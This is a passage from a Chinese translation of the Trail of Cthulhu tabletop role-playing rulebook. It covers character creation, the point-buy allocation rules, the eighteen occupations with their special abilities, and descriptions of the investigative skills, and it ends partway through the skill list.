然而，对想要强调某一个特定主义的玩家，我们用下面的符号指出了最适合原旨模式的规则和游戏元素: ![[introduction_01.png.png]]

更加适合通俗模式的使用这个符号： ![[introduction_02.png.png]]

为了灌输特定的恐怖风格，守秘人可能会规定某些规则和元素不允许出现在自己的游戏中。原旨和通俗主义规则的索引可以在第243页找到。

边栏：核心概念

角色扮演游戏： 我们假设你已经知道了它的含义。如果不明白，你可以看看其他角色扮演游戏的必读章节“什么是角色扮演”，或者问问你的极客朋友。

守秘人： 游戏主持人，或称GM。

调查员： 玩家的角色，或称PC。

调查技能： 包括学术、社交和技术技能。这些能力总是有效的，它们被设计用来收集线索。

一般技能： 其余能力，包括战斗技能和诸如健康、坚毅和心智这些“基础数据”。使用这些技能或对这些技能进行检定带来戏剧性，它们有可能失败。

心智： 对调查员心理健康的短期评估。它会在冒险过程中迅速下降，但通常不久后会恢复。

坚毅： 长期衡量你的调查员对神话的可怕真相的幸福无知。它下降得很慢，虽然有可能但很少会再上升。

神话： 克苏鲁神话的简称，由霍华德·菲利普斯·洛夫克拉夫特创造的传说的主体，是在克苏鲁战役或冒险之旅中最可怕的事件的基础。

霍华德·菲利普斯·洛夫克拉夫特： 美籍恐怖小说作家（1890-1937）。这本规则书中的所有引用都来自于它的故事及诗歌。

线索： 每个场景的目的在于向具有相关调查技能的调查员传递一条线索。场景会在线索传递后结束，除非发生了一场非常惊人的打斗。线索是通往其他场景的线索；它们不一定是“真的”。

创造角色

需要创造角色的调查员们，请依照下列指示一步一步创造（以下玩家将以调查员称呼，主持人GM将以守秘人称呼）：

1. 选择职业

精神病医生、古物学家、考古学者、艺术家、作家、牧师（神职人员）、罪犯、医生、流动劳工、新闻记者、军人、护士、心理玄学家、驾驶、警方侦探、私家侦探、教授、科学家

TOC提供了18种职业给调查员作选择，第一步将是选择职业，详细职业说明请参考职业取得进一步的说明。

2. 选择动机

你的调查员为何要参加这次冒险，他的动机如何？你现在就要决定他的动机。

冒险：对于未知事物的渴望，安全的冒险不是你所要的。
古物研究癖：古老的事物让你觉得你还活著，发现古老事物理学面的真实将是你所追求的。
自负：你最终的成功将会说明一切，而且这肯定会发生，因为只能你才愿意去抓取这机会。许多法则将不适用于你，你永不退缩。
艺术家的敏感：你已经感觉潜在在这世界内的超自然，当然，这就是你创造艺术的灵感。没有什么事情，特别是世俗的规范能阻挡你对于灵感的渴望。
坏运气：这些事情就是发生在你身上，或许就在你挖掘出某个雕像，睡在某个寄宿旅社，或者抢劫某个长者后的结果。坏运气有点类似于诅咒。
好奇：当神秘事件出现在你眼前时，你就是无法不去调查。
责任：你虽然知道这事情很危险，但是总要有人步入地下室轰掉这些危险的异教徒，你不做还有谁要作？
无聊：或者你只是想要体验一下生活，或者你看了小说之后，你想要成为小说的主人公一样。你想要尝试一下，让你的生活有些变化。
跟随者：这并非你的点子，你只是跟随著某个重要的人，进入这危险的地方，你只是想要确保那个人的生命安全而已。
与生俱来：虽然奇怪，但你就是无法停止这行为，这或许是你与生俱来的行为吧。
复仇：某件事物伤害了你，或者伤害到你关心的人，你决定以眼还眼...不论代价。
学者研究
突然的冲击：一件突然的事情改变了你的世界，像是过世已久的祖父在你的地下室举行食人仪式，你看到印斯茅斯的突袭，这些永远改变你生活的事情发生了，你只能往前前进，你已经无法反回头了。
追求知识的渴望

3. 购买构筑点数

a) 点数数量

TOC的角色创造是购点制，所以所有调查员将有一定数量的构筑点数可以分配到技能上。每个调查员所有拥有的构筑点数都是一样的，不用掷骰来生成随机数。

各调查员拥有的构筑点数将受到调查员人数影响，以下是列出人数和每个调查员可以分配到调查技能上的构筑点数：

2人：24点
3人：18点
4人及以上：16点

然后所有调查员都还有65点构筑点数可以分配到一般技能上，换句话说如果一团有4名玩家，那么每个人就拥有16点构筑点数分配到调查技能，65点分配到一般技能上。

构筑点数的数量可能因使用的剧本不同而发生变化，守秘人可以减少构筑点数以提升剧本难度。

b) 分配点数

每个调查员一开始都拥有4点心智，1点坚毅，和1点健康。
调查员的信誉将是该职业信誉的最低值，例如医生的信誉范围设定为4-6，玩家选择医生这职业时，其信誉将是4为起始值。
通常1点构筑点数可以提升1个技能等级，但有些技能例外。
为职业技能分配构筑点数时，1点构筑点数可以提升2个技能等级。例如，科学家职业的一个职业技能为文献查阅，调查员可以花费1点构筑点数获得2等级的文献查阅。
调查员可以自愿扣除信誉点数，将扣除部分的构筑点数分配给其他技能。以医生为例，可以自愿将信誉由起始值4降低到2，并将减少的2点构筑点数分配给其它技能。
如果调查员想要提升信誉等级，在职业的信誉范围内1点构筑点数可以提升1级；如果超过职业的信誉范围，那么2点构筑点数才可以提升1级。同样以医生为例，信誉的初始值为4，增加信誉到5或6时，每提升1级需要1点构筑点数；当信誉从6提升到7或更高时，每提升1级需要2点构筑点数。 唯一例外的职业为苏活族，其信誉范围没有上限。
守秘人或许将会限制信誉的上限，以便合乎剧本的要求，不然满场百万富翁到处跑感觉也挺怪的。
调查员无法分配构筑点数到克苏鲁神话技能上。
调查员为一般技能中的运动和逃脱这两个技能分配构筑点数时，必须优先分配给运动技能，然后再分配给逃脱技能。当调查员的逃脱技能等级高于运动技能等级的两倍后，每1点构筑点数可以提升2级逃脱等级。例如，玩家A已经为运动分配了4点构筑点数，运动技能等级为4。如果他想要把逃脱提升到10级，那么前8个等级每级花费1点构筑点数，逃脱等级到达8之后，他只需要花费1点就可以把逃脱从8提升到10。
一般技能部份限制：等级第二高的一般技能等级，至少是最高一般技能的一半。例如，玩家B打算为枪械技能分配30点构筑点数，那么他必须在另一个技能分配至少15点构筑点数，这将耗掉他大部分的构筑点数，只剩下20点构筑点数可以分配在其他技能上，于是他必须降低枪械技能来释放更多点数以分配给其它技能。

额外可选规则：如果守秘人同意，那么调查员将可以以1点调查技能构筑点数换成3点一般技能构筑点数。

在原旨模式下，坚毅和血量最高值为12，心智最高为10减去克苏鲁神话技能等级。

c) 分配建议

GUMSHORE系统简化了COC的系统，而且去掉了不少掷骰部分。拥有相关调查技能的调查员在调查事物时会自动成功，无须投骰。如果遇到比较困难的调查，守秘人可以要求调查员花费1-2点的技能点数。这就是TOC的另一个特色，技能被视为资源，技能每拥有1级就像投资1元在此技能上。在剧本进行中，调查员可能需要花费掉该技能，等级越高则可以花费越多次。不过别担心，在剧本结束后，这些点数将可以恢复（虽然不一定是全部）。

相对于调查技能，一般技能就不像调查技能必定成功。使用一般技能时都要进行掷骰1D6作检定，这时守秘人会设定一个难度，通常为2-8。调查员将有机会花费技能点数以提升骰数。例如，你使用偷窃，守秘人告诉你对方处于警戒下，于是你花费4点偷窃点数来让你的骰数得到4点加值，如果大于或等于难度将成功。

因此，一般技能最好将构筑点数集中分配给几项你觉得重要的技能，调查技能则分散分配给不同的技能。

职业

精神病学家

你是精神病专家，你可能是一位在维也纳受训的精神分析师、研究大脑功用的精神病学家或对行为学有强烈兴趣的医生。虽然佛洛伊德学说占据大半精神病学领域，但他并不被大众理解或接受。

职业技能：

调查技能：生物学、语言(德语或拉丁语)、文献查阅、医学、药剂学、察言观色和其他两项社交技能
一般技能：精神分析
信誉：3-4

特殊：

你可以使用医学或社交技能得到许可观看不公开的精神病历和进入精神病房。如果你是个有执照的医生(医学等级2以上)，你可用同样方法得到医疗病历和进入医院病房。

你使用精神分析进行心理治疗的难度为3(而非4)。你花费1点精神分析(而非2点)就可以安抚一个惊慌的角色。你可以回复自己的坚毅，但1点精神分析只能回复1点坚毅。你可以将察言观色当成法医或心理学使用，从犯罪现场的细节比对、收集犯罪者的个人背景、年龄、习惯和态度，当你使用这些能力时你需要告知守秘人。

仅限通俗模式中，你可以使用催眠。

古物学家

和同业有同样多的热心，你致力于评价过去，你可能有小小独立的收入，你可能是地区博物馆或画廊的学者，或只是以尊敬的心态研究古物、古书或那些优美时代的艺术品。

职业技能：

调查技能：建筑学、艺术史、议价、历史、语言、法律、文献查阅和一项调查技能当专长
一般技能：无
信誉：2-5

特殊：

每次冒险你都会拥有这次调查的相关情报或物品，古书学者可能会有相关知识的书册(像是报告或怪人的私密作品)；银器收集者可能有装饰用的匕首；进口商可能有从刚果部落带来的古怪面具；记得和找出这些物品需要相应的技能(艺术、历史或文献查阅等等)，这些物品通常包含了解决神秘事件的重要线索或提供了近战武器或方法。

例如，你可以避免潜入一间令人毛骨悚然的废弃修道院寻找亵渎的诗篇——在你的专辑记录中拥有那首诗的黑胶唱片。你不需找寻施法长笛来击退罗伊格尔——你有一组从古老昔兰尼流传下来在神秘仪式使用的笛子(物品的效用和你花费的程度有关系)。

如果你离开了你的城市，你可能不被允许使用这项技能，除非你有一个可信任的助理帮你找到并寄给你。这种情况下，你必须等待一个星期，然而邪教徒或许在这期间已经得到了力量的泉源。守秘人可以拒绝你拥有一些强力的神话物品、法术书等等，也可以看拒绝一些被滥用或不合理的物品，并且有权力增加使用物品的副作用。

考古学家

你到遥远陌生的地方揭露过去，你可能是一位一丝不苟的学者，致力于图书馆的工作和简单的挖掘，或是比盗墓者好一点，使用长边和手枪带回战利品，你可以筹募自己的探险队，或获得学校或基金会的帮助。

职业技能：

调查技能：考古学、证据采集、历史、语言、文献查阅和其他两项调查技能
一般技能：运动、骑术、急救
信誉：4-5

特殊：

使用考古学或适合的社交技能可以让你进入博物馆的储藏间或处理手艺品(虽然你并没有带走的权利)。如果你拥有学术证书(考古学2以上且信誉3以上)，你可能拥有进入州立图书馆未开放书库的许可。

艺术家

你是一位画家、音乐家、雕刻家、建筑师或表演者。你遵循著你心目中的谬斯女神、带著丰富的感性。你会做一些像是栖息花丛等常人无法理解的行为。

职业技能：

调查技能：建筑学、艺术、艺术史、手艺、奉承、摄影、信誉评估和其他两项学术或社交技能
一般技能：伪装
信誉：1-4

特殊：

你可以在冒险中的休息时间回复一点代表你艺术形式的技能(艺术、建筑、手艺、摄影等)，一个剧本最多四次。这代表你在打草稿、排练等。如果你没有足够的资源或时间去美化你的作品，守秘人可以不允许你如此进行回复。

作家

你使用文字捕捉真相，隐瞒或揭露事实，或是给那些受经济大恐慌打击的读者们一些娱乐。你独自工作且偶有收入，你有足够的时间沉思下一部作品。纪律和少数的技艺让你能在艰困的冒险中存活下来。

职业技能：

调查技能：艺术、历史、语言、文献查阅、口述采访、察言观色
一般技能：无
其他技能：任选三项技能当专长或是上个工作
信誉：1-3

特殊：

你可以在冒险中的休息时间回复1点学术技能，一个剧本最多四次，这代表你将时间花在了阅读、翻阅笔记和档案等等。如果你没有时间或用以阅读的材料，守秘人可以拒绝你的要求。换句话说，在TOC里面你可能会看到作家这么说：“你们先检查完这间屋子，我先回去花一两个小时看看这本书。”

牧师（神职人员）

你可能是巡迴的佈道者、可信任的地区牧师、犹太教学者、传教士或各种想要听到神谕的神职人员。你可能比较可以接受一些超自然的现象，但也特别容易受到克苏鲁神话的影响。

职业技能：

调查技能：历史、语言(拉丁语、希腊语、阿拉姆语或希伯来语)、文献查阅、察言观色、安抚、神学和一项社交技能
一般技能：精神分析(非职业技能，见特殊)
信誉：2-5

特殊：

你可以使用神学或安抚得到不对大众公开的教堂纪录。普通的牧师职位不能让你进入梵谛冈的封闭藏书室，当然如果有足够大量的花费，守秘人可能会允许。

如果你是一位神职人员(或穿著普通的传统服装)，在一个剧本一次，你可以藉由和合作的宗教人员谈话(不能是其他调查员)来免费地重置任何社交技能。精神分析不是你的职业技能，但是你使用精神分析进行心理治疗的难度为3(而非4)。一位主教可以祝福圣水、驱魔、使用十字架抵御吸血鬼，甚至用坚毅对抗恶魔，或用健康来召唤恶魔(非神话生物)。其他神职人员可能有类似的仪式力量，这些好处详见表格(尚未翻译)。

罪犯

你是在法律另一边生存的人，你知道这个世界堕落、腐败的一面。有些罪犯理解人类秩序和纪律容易被破坏而发展独特的密码和规则保护自身，其他则是陶醉于现况。

职业技能：

调查技能：议价、威胁、开锁、底层社会和其他两项人际或技艺技能当专长
一般技能：搏击、警觉、追踪、潜行
信誉：0-4

特殊：

罪犯的藏匿、偷窃和追踪可以在掷骰后花费，每2点增加1点结果，且只能在你未分心或没有明显地被发现下使用(此项能力不能用在对抗中)。你必须描述你做错了什么，并如何来得及改善。

黑手党员可以免费得到1点语言(意大利语)，根据守秘人决定，类似组织的成员可以有相同的好处。

业余爱好者

你是可以靠遗产、信托基金或其他独立的收入来源自给自足，没有工作的压力，你可以致力于追求自己的梦想。

职业技能：

调查技能：信誉、奉承
一般技能：骑术
其他技能：任选五项技能
信誉：3+

特殊：

你可以使用信誉来联络任何领域的专家，这些人可能是你的亲戚、校友、同学或和你差不多社会地位的人。

医生

你认为你的工作象征着社会最好的一面：明理、仁慈、高尚、廉洁和无私，但愿社会上的疾病都可以被医疗。有钱且有名望的医生可以避免一些和血液及污物有关的工作。

职业技能：

调查技能：会计、生物学、法医、语言(拉丁)、医学、药剂学、察言观色、安抚
一般技能：急救
信誉：4-6

特殊：

你可以使用医学或安抚得到许可，以观看不公开的病历和进入医院病房。

如果你隶属于一家医院、精神病院或其他医疗机构，你可以使用安抚进入药剂室或停尸间。

当你使用急救时：治疗他人的时候，每1点增加3点健康(而非2点)；治疗自己的时候，每1点增加2点健康(而非1点)；可以使用1点急救来稳定重伤(而非2点)。

流浪汉

你不仅仅是在经济大萧条中失业的人，相反地，你是街道上的王者。你有时在街上乞讨、有时做些临时工、有时当个小偷；但比起其他职业，你还是不太可能成为一个职业窃贼。

职业技能：

调查技能：议价、户外活动者、底层社会
一般技能：运动、偷窃、警觉、潜行
信誉：0(除非守秘人允许可以永久地改变职业，例如结婚或被征召，否则你永远不能增加信誉)

特殊：

你可以使用警觉或底层社会解读游民的记号和找到自己的位置当你在陌生的城镇中，你可以使用底层社会和你的同伴们交换情报，这些同伴可能是共产党员(像是在第一次世界大战巡迴的劳工团体)、友善的铁路警卫、慈善事业义工或一个容易被打动的普通女性。

新闻记者

无论是报纸、杂志或广播，你拼凑生活上的碎片成为一个故事，发掘你生活世界中的一点一滴。你会试著使用客观的角度编写文章，特别是那些腐败和自私的事蹟。但是，什么东西能阻止你的笔呢？

职业技能：

调查技能：警方交谈、证据采集、语言、口述采访、摄影、察言观色、安抚和一项社交技能
一般技能：伪装、追踪
信誉：2-4

特殊：

你可以使用安抚进入报社的资料室，你可以从资料的字里行间取得相关线索。同样地，记者同事可能会向你透露一些非正式的谣言或故事，除非他认为你和他是竞争者。

军人

你使自己处在危险之中，为了薪水、国家、战友或单纯因为你没有更好的选择。你的生活相当有规律，充满了乏味的训练和阶级制度，而且有时候伴随著疯狂、死亡、流血和梦魇。

职业技能：

调查技能：威胁、户外活动者
一般技能：运动、枪械、搏击、近战武器
陆军/陆战队：藏匿、驾驶、潜行
医护兵/军医：急救、医学(调查)、安抚(调查)
工程师/重近战武器部队：驾驶、爆破、机械维修
海军：天文学(调查)、机械维修、飞机船只驾驶
军官：官僚(调查)、骑术或飞机船只驾驶、安抚(调查)
信誉：2~5

特殊：

只要你的坚毅高于0，你可以花费2点安抚来平复一个惊慌或不稳定的角色。如果你还在服役，你可以使用任何社交技能进入母国的军事设施，除了那些最高机密的基地。

如果你是战斗老手，所有战斗技能(运动、枪械、搏击、近战武器)的难度都不会增加(包含命中阈值)，除非你的坚毅或健康低于-5。你的坚毅最高是10，不过某些威胁你坚毅的检定难度都会降低。

护士

护士是训练过的医疗助手，有可能是男性，不过大部分是女性担任。护士通常接受比较不艰深的训练，薪水比较少，但是比起医生较不冷酷和没有距离感。

职业技能：

调查技能：生物学、医学、药剂学、察言观色、安抚，如果你是帮医院做文书工作，你会有官僚；如果是帮医生工作，你会有奉承
一般技能：急救
信誉：2-4

特殊：

你可以使用医学或安抚得到许可，以观看不公开的病历和进入医院病房。

如果你隶属于一家医院、精神病院或其他医疗机构，你可以使用安抚进入药剂室或停尸间。

当你使用急救时：治疗他人的时候，每1点增加3点健康(而非2点)；治疗自己的时候，每1点增加2点健康(而非1点)；可以使用1点急救来稳定重伤(而非2点)。

心理玄学家

学术界对你的研究领域采半信半疑的态度，追求真理的人怀疑的的诚心。你横跨(可能令人不舒服)在真理和迷信之间、信仰和证明之间。你相信超自然现象只是我们尚未研究的自然现象或可以用科学方法来印证神迹。

职业技能：

调查技能：人类学、文献查阅、神祕学、摄影、察言观色
一般技能：电器维修、机器维修、警觉
信誉：2-3

特殊：

如同精神病学家，你可以使用催眠技能。

在相当简单的剧本里，你可能可以使用一些超自然的力量或接触那些有超自然力量的人，对于超自然力量的叙述，请见(Fear Itself)(尚未翻译)。

驾驶

你是为了飞行而生也是为了飞行而活，你可能是个想要寻求刺激而做环球旅行的世界大战老兵，或是想要有自己的空中运输公司的私人信差，无论你在空中哪一个航线，这片广大的天空都是你想要待的地方。

职业技能：

调查技能：天文学
一般技能：驾驶、电器维修、机械维修、飞机船只驾驶、警觉
信誉：2-3

特殊：

你拥有私人的小飞机和航空许可，飞机大小和品质根据你的信誉点数决定。

警探

你依循著警察的规矩生活，像是巡逻一个治安不好的地区，你心中有区分警察、罪犯和市民的一把尺，当法律和正义出现衝突的时候，这就是你依循的凭据。

职业技能：

调查技能：警方交谈、证据采集、审讯、法律、察言观色
一般技能：运动、驾驶、枪械、警觉
信誉：3-4

特殊：

使用警方交谈不但可以让警察不怀疑你，还可以让你进入资料室、证据室或会见囚犯，不过你必须要有合理的计划或理由。

在你的辖区中，你可以使用警方交谈来使用警方的化验室(化验遗体、弹道测试或其他理由)或甚至是停尸间。

私家侦探

有些事情警察不能做或不会做，你会因为酬劳而做这些事情。有时你会探查一些警察不愿意外扬的丑闻，但你就像监视警察正义的存在，那什么东西使你保持诚实呢？这真是个秘密，不是吗？

职业技能：

调查技能：会计、法律、开锁、摄影、察言观色、安抚
一般技能：伪装、驾驶、搏击、追踪
信誉：2-3

特殊：

私家侦探的伪装或追踪可以在掷骰后花费，每2点增加1点结果，且只能在未分心或没有明显被发现时使用(此项能力不能用在对抗中)。你必须描述你做错了什么，并如何来得及改善。

教授

你可能是个冷静的贤者或是对自己的知识非常自负，你虽然比不过别人，你相信你自己是最好的。

职业技能：

调查技能：官僚、语言、文献查阅和一项社交技能、三项学术技能
一般技能：
信誉：3-5

特殊：

只要你的学术凭证还是完整的(信誉3以上)，使用官僚可以进入封闭的图书馆书库、研究室和许多私人或政府的机构。如果你的信誉在5以上，你拥有终身教授职位，且只要没有证据显示你有道德上的堕落就不会被解雇。

科学家

你研究科学技术，可能为了让世界更进步或想推翻长时间被否认的真理，你只是需要更多的器材、更多的时间、更多的样本和更多能理解你的同伴，虽然那些愚蠢的人可能会取笑你，但是你会证明给他们看！

职业技能：

调查技能：证据采集、语言、文献查阅、摄影和下列任选两项：天文学、生物学、化学、密码学、法医、地质学或物理学
一般技能：电器维修
信誉：3-5

特殊：

你可以有适合你研究方向的实验室，而且可以使用信誉来使用或得到同事的实验器材。如果你有学术凭证(信誉3以上且拥有2点以上的天文学、生物学、化学、地理或物理学)，你可以进入封闭的图书馆书库中查询资料。

技能

调查技能是克苏鲁的踪迹中调查员的精髓，技能描述包含了简短的介绍和几个使用于调查中的举例。有创造力的玩家应该可以在调查员遇到不预期的情形时使用他们的技能解决问题，有些普通技能在某些情形下可以被当成调查技能使用，不过购买方法一样是如同普通技能一般，他们是：伪装、电器修理、爆破、机器修理。

某些特别的行动可以包含多种技能，例如，你可以使用化学或是药剂学以分析(或合成)一个带有催眠性的毒药；你可以使用考古学、艺术史、神祕学或神学以辨认出一个罗马时期的偶像；你可以使用官僚、伪装或是精神分析在疗养院里面唬弄别人。诸如文献查阅、警觉之类的技能会在游戏中广泛的使用，而且会不断的需要使用；但有些技能可能仅在某些场合中出现，但不是所有的场景。

当创造你的角色时，平衡你的实用技能和某些相对的特殊技能，当然，也要和团队中其他角色平衡。TOC将更有趣、更容易存活——如果你有注意这些小细节。

调查技能分类

学术能力

会计、人类学、考古学、建筑学、艺术史、生物学、克苏鲁神话、密码学、地质学、历史、语言、法律、文献查阅、医学、神祕学、物理学、神学

社交能力

察言观色、议价、官僚、警方交谈、信誉、奉承、审讯、威胁、口述采访、安抚、底层社会

技术能力

艺术、天文学、化学、手艺、证据采集、法医、开锁、野外求生、药剂学、摄影

调查技能

会计(学术)

你能理解关于簿记和会计上面的程序，你可以阅读并理解财政记录，你可以：

分辨合法交易和犯罪事业
从旧的记录重建财务历史(揭漏或推测是否有贩卖奴隶或是走私)
找出盗用公款、贿赂、黑函或掏空公司的证据
查找付款的对象

人类学(学术)

你擅长于研究人类文明，从石器时代到爵士时期(人体人类学被归类在法医)，你可以：

辨认现存文化的手手艺品和礼仪规章
描述和预测一个外来集团或地区次文化的习俗
可以从类似的文化推断一个未知的文化的习惯

考古学(学术)

你挖掘历史遗迹和手艺品，从中研究古代文化和文明，你可以：

知晓一个东西是多久以前被埋下去和什么时候被制作出来
辨认手手艺品的文化和使用方法
分辨一个手手艺品是否为赝品
可以在遗迹和地下墓穴中导航，包含发现密门或是藏匿的建筑结构
描述一个过去的历史文化
找出一个藏匿很好的陵墓和地下密室

建筑学(学术)

你知道建筑物是如何设计和建造，你可以：

当探索一个未知的建筑时，猜测角落被放置什么
判断建筑材料的相对强度
辨认一个建筑物的年代、风格、用途和在历史中的改变
演绎推断密室、地下礼拜堂、超几何设计的阁楼和不规则的结构是否存在
建造一个临时稳固的结构
辨认建筑结构完善的重要成分与原理

艺术(技艺)

你擅长于各种领域的艺术——音乐、绘画、舞蹈、雕刻、作曲、赋诗、戏剧等等，你可以

选择致力于一个项目或是多元发展：对于艺术技能每点都可以选择别种你有潜力的艺术形式，你可以在创造角色时明确的指定，也可以弹性的在剧本中选择，例如如果剧情需要，你可以变成一位杰出的业余女低音。
创建一个伟大或相当知名的艺术家需要花费(见花费)，已经分配的点数不予允在将来重新分配。

艺术史(学术)

你擅长从美学和手法研究艺术(包含实用的艺术像式家具或是陶具)，你可以：

分辨一个作品是否为赝品
判断一个物品是否有被整修或是改变
从风格和材料知晓一个物品的年代
精确的估计一个作品的艺术价值
想起一件艺术作品的历史细节和相关的资讯

察言观色(人际)

察言观色是用来评断一个人和理解一个角色的动机，基本上，这个既能让你能够辨认某些人是否对你说谎，并且(花费点数)合理的推测他的动机，不是所有谎言都是言语上的漏洞。你可以从一个人的肢体动作或是不真诚的眼神分辨他要对你说谎。

某些人——诈欺师、演员、职业骗徒之类的对于欺骗很擅长所以你可能无法判断；有些人笃信他们的谎言，精神病人、反社会型的人(像是某些巫师、魔术师)和被洗脑的信徒能自然的说谎而不会羞愧，蒙蔽你原本用来判断人的方法。那些极度的和神话中非人的技能有了解的人总是无法被正确的理解(因为超乎你想像)，你也可以使用察言观色来冷读一件算命骗局、假降灵会或是心灵感应者之类的骗局。

天文学(技艺)

你研究天空中的事物，包含星星和星球，你可以：

解读天文学的文件
使用有巨大反射镜的望远镜
测定星球的移动，包含在什么时候会经过头顶
预测日月蚀、彗星、流星雨和其他规律的天文现象

议价(人际)

你很擅长和别人谈判，说服他人你的提议不只对你好，对他也是最好的，你可以：

议价商品价格和服务的品质
评估一件物品的价值，包含别人想要买的物品
谈判人质事件或是调停外交危机
和别人交换物品或是情报

生物学(学术)

你研究有机生命体的演化、行为和身体组成，你可以：

辨别一只动物是否行为怪异
辨别一只动物或是植物是否为一个已知地点的原生种
从头发、血液、骨头或其他组织样本辨认一只动物
分析未知体液、鳞片或黏液
从微小的样本辨认一株植物
隔离或发现自然的毒药或毒液

官僚(人际)

你知道如何领导一个官僚体系，不论是政府部门或是大型商务公司，你知道如何有效的领导你的员工用最迅速、最少影响的方法达成目的。你可以：

说服官方提供羶色腥的资讯
取得凭证，蒙混过关
找到知道消息，能理解发生什么事的人
能拓展或与一个你常常来往的官僚体系保持联繫
探找公共机关、办公室和文书
租借装备和必需品

官僚不全然是一个资讯搜集技能，官僚主义者希望给别人他们很忙碌的印象(无论他们是不是)，许多人会从指挥调查中获得深刻而隐密的乐趣，当玩家想要使用官僚而非其他技能(像是文献查阅)以更简单的方法获取情报，他们的下属会冷嘲热讽的建议他们先完成他们该死的杂务。

化学(技艺)

你受过分析化学物质的训练，若有实验器材，你可以：

从广泛种类的物质中分辨毒品、药物、毒素和病毒
制造一个简单的爆裂物、毒品、瓦斯和酸
分析未知的元素、合金、化合物等等
分析一个子弹或是残渣的弹道和火药
比对植物泥土样本和从现场取回来的一块证据
书写科学分析结果

警方交谈(人际)

你知道如何讲警方的行话，而且让它们不会介意你在场，你可能是一位警官(或曾经是)或是让警方认为你是诚实、值得信任的公民，你可以：

厚脸皮的不断询问警察一些机密讯息
为一点点的小违例找藉口
暗示你和他们是一伙的，有权利参与案件
分辨警察是否对你说谎，或是藏匿了什么
认识的执法者可能会偏袒你

手艺(技艺)

你可以使用木头、金属、珠宝等等创造有用的物品，虽然橱柜、水壶或戒指可能很美丽，但是你创造是为了实用而不是艺术。如同艺术技能，你可以专注于一种手艺(铁匠、木工、修补匠等等)或是多才多艺。

和艺术一样的规则，你可以使用手艺在特定的搜查目的——像是木匠的你可以在桌子发现一个秘密的小夹缝等等。

信誉(人际)

你可以轻鬆的打理你的经济状况、做买卖、借款、与社会交流、获得邀请和受到许多人的赏识。信誉为0的调查员可能是一个流浪汉或到处漂泊的人，可能不信任银行或没有和别人谈天说地的能力。

信誉会被当作"经济阶级"，信誉不像其他技能一样，它描述你的地位(像是白领、蓝领)。坦白的说，你阶级越高代表你能使用的社会资源越多(特别是在1930年代)，如果守秘人认为有理，别人对你的观感可能会浮动一两个阶层——一个信誉5的医生可能会和中等阶级的水电工或一个受过更高等教育的专家有所交流，信誉不全然代表你银行的帐户，但他代表了你经营你财务的能力。

举例来说，HP·洛夫克拉夫特虽然收入和劳动阶级差不多，但是社会对他的观感大概价值4-5点信誉，经济大恐慌时虽然让许多人经济上受到衝击，不过他们的地位并没有改变。信誉可以是一种概念，在1930的英国可能代表你的"社会地位"而在学术界里代表了你的"学术地位"而不是收入。

密码学(学术)

你可以加密或解码一份密文成为你可以阅读的形式，若有足够的时间和字典，你可以拼凑出外国字母，并蛮力的翻译成你看得懂的形式。

克苏鲁神话(学术)

你已经开始拼凑这个真实世界里的神秘规则而非对现实或宗教的一知半解，你理解那些伟大的名字和藏匿在背后的意义，如果你阅读一个神话书籍，使用这个技能可以让你记得其中的资讯和线索对应到你目前的情形；如果你在研究一个古代外星的遗物，使用这个技能可以让你感受到其令人畏惧的型态。

使用这个技能消耗心智和坚毅，克苏鲁神话最基本的用法是让调查员能够"拼凑碎片"并唤醒你下意识抑制的可怕知识、顿悟一个可怕的情形。守秘人提供你理解的结果，描绘出你对神话对你发现的事件的影响。这不是解决神秘事件的技能，虽然他可能让你不会走错方向，根据守秘人的描述，花费点数可能可以得到特别的结果(而且潜在危险)。

举例来说，若把"敦威治惊魂"当成TOC的剧本，阿米塔教授使用克苏鲁神话并理解古老的"惠特利"某种程度上体现了忧戈‧索托斯。在故事中她阅读了威尔柏的日记得知他需要特殊的咒语和伊本嘉齐的粉末来摧毁敦威治惊惧兽，如果他没有找到这本日记，他可以使用克苏鲁神话来"猜出"忧戈‧索托斯在被完全放逐之前是有形的，而且如果花费点数他可以知道使用伊本嘉齐的粉末可以达到目的，但没有可能得到粉末的配方，除了某些可怕的神话书籍可能有藏匿这些讯息。

证据采集(技艺)

你很擅长调查一处场所并发现、收集和标记重要线索，你可以

找出藏匿的物品或一个令你感到兴趣的物品(包含掉在沙发底下的弹壳和桌子后面滴下的蓝色分泌物)
注意物证和犯罪现场的关联性，重建事件的顺序
发现、描摹、搜集和比对指纹
比对一份打字机打出的文字
比对手写的字迹
保存物证不受污染以便分析

奉承(人际)

你很擅长赞美或奉承别人使他高兴的帮你(巧妙的让他认为出自他本意)。若能在他在意的地方称赞他效果将会更好(但不是必要的)。

你可以只称赞他高尚的品味或是他出色的演说，你可以让他们：

透漏情报
一点点的偏袒你
认为你可信任
和你约会(如果适当的话)
你可以决定高奉承等级是否代表你拥有迷人的身体、有魅力的、说奉承话的、或是纯粹的散发出吸引人的磁性。

法医(技艺)

你研究犯罪现场和对死者尸体进行结剖以判断死亡原因和状况。你可以从尸体的骨骼搜证以重建人体上的资讯(年龄、性别、身体状况、某些特别职业)，就谋杀而言，你的调查可以知道：

凶器的性质
大约的死亡时间
是否有麻醉剂或其他外来物质在血液中或皮肤上
受害者最后一餐的内容

在许多案件中，你可以从身体上的伤痕重建导致受害人死亡的原因。虽然在现实中这个技术要到1960年代以后才有，你可以研究场景中死者身上的细节(像是尸体腐烂程度等)决定案发时间(有时候地点也可以)。

地质学(学术)

你研究岩石、土壤、矿物和远史时期的地球，你可以：

分析土壤样本、结晶、矿物等等
判断地层的年代
追溯和辨认化石种类和年代
为农业或工业鑑定土壤
探寻可能有石油、瀑布或是矿藏等等的地方
预测火山活动、地震、雪崩或其他地质活动

历史(学术)

你很擅长纪录人类历史，并著重于政治、军事、经济和科技发展，你也擅长使用历史学者的工具——书和文件，你可以：

理解晦涩的历史典故
记得已知国家、城市或地区的重要和相关事件
辨认古老的语言和文字
进行文本分析一个手稿或是书以辨认它的年代和作者
辨认一个文件的年代
知晓一个古物在何时何地被制作出来
从文章或衣著服装辨认一个时代

审讯(人际)

你受过专业的审问技巧训练，你可以在正式的审讯从嫌疑犯和目击者口中得到讯息，你必须在一个官方的地点使用这个技能(如此才能限制对方并让他感受到压力，从而理解你有的权力(像是逮捕他——无论是真的还是假的)。

威胁(人际)

你恫吓嫌疑人士以获得配合(像是肢体压迫、侵入他的私人空间、采用心理压迫的方法命令他)，威胁技能可能包含了暗示或直接的肢体暴力，但是通常只是获得一种心理上的优势。你可以：

获得资讯
胁迫对方离开某个区域
平息一个意图暴力胁迫你或其他人的人

语言(学术)

